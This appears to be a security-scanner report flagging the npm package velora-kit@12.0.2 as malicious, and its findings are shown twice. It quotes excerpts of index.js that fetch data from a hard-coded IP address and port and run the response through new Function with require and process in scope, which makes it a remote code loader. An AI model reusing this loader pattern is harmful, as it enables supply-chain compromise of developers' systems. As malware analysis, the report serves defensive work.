velora-kit@12.0.2: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

velora-kit@12.0.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

4 flagged · loading source

index.jsView file

6L7: // Create require that resolves from the project root (where package.json and node_modules are) L8: const projectRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); ... L90: L91: return fetch(url, { headers: head }) L92: .then(response => { ... L95: } L96: return response.json(); L97: }); ... L133: exports: {}, L134: __dirname: process.cwd(), L135: __filename: import.meta.url,

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

index.jsView on unpkg · L6

149// Note: The code uses async/await, so we need to handle that L150: const evalFn = new Function( L151: 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L149

•matchType = malicious_source_fingerprint_signature signature = e4520ff13983a406 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = fastify-bundler@1.4.16 matchedPath = index.js matchedIdentity = npm:ZmFzdGlmeS1idW5kbGVy:1.4.16 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

106const protocol = "https", domain = "31.97.137.157:45000", separator = "://", path = "/icons/"; // Constructs the base URL for the local server const token = '116', head = { bearrtoken: "logo" }; // Options for the request, including the URL and headers const uuri = `${protocol}${separator}${domain}${path}`; const options = { url: uuri, headers: head }; function getPlugin(reqtoken = token, reqoptions = options, ret = 1) { const url = `${reqoptions.url}${reqtoken}`; const mreq = async (atlf) => { try { const response = await fetch(url, { headers: reqoptions.headers });

High

Ai Review Evidence

getPlugin fetches a hard-coded remote endpoint and parses its JSON response.

index.jsView on unpkg · L106

Source & flagged code

4 flagged

index.jsView file

6L7: // Create require that resolves from the project root (where package.json and node_modules are) L8: const projectRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); ... L90: L91: return fetch(url, { headers: head }) L92: .then(response => { ... L95: } L96: return response.json(); L97: }); ... L133: exports: {}, L134: __dirname: process.cwd(), L135: __filename: import.meta.url,

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

index.jsView on unpkg · L6

149// Note: The code uses async/await, so we need to handle that L150: const evalFn = new Function( L151: 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L149

•matchType = malicious_source_fingerprint_signature signature = e4520ff13983a406 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = fastify-bundler@1.4.16 matchedPath = index.js matchedIdentity = npm:ZmFzdGlmeS1idW5kbGVy:1.4.16 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

106const protocol = "https", domain = "31.97.137.157:45000", separator = "://", path = "/icons/"; // Constructs the base URL for the local server const token = '116', head = { bearrtoken: "logo" }; // Options for the request, including the URL and headers const uuri = `${protocol}${separator}${domain}${path}`; const options = { url: uuri, headers: head }; function getPlugin(reqtoken = token, reqoptions = options, ret = 1) { const url = `${reqoptions.url}${reqtoken}`; const mreq = async (atlf) => { try { const response = await fetch(url, { headers: reqoptions.headers });

High

Ai Review Evidence

getPlugin fetches a hard-coded remote endpoint and parses its JSON response.

index.jsView on unpkg · L106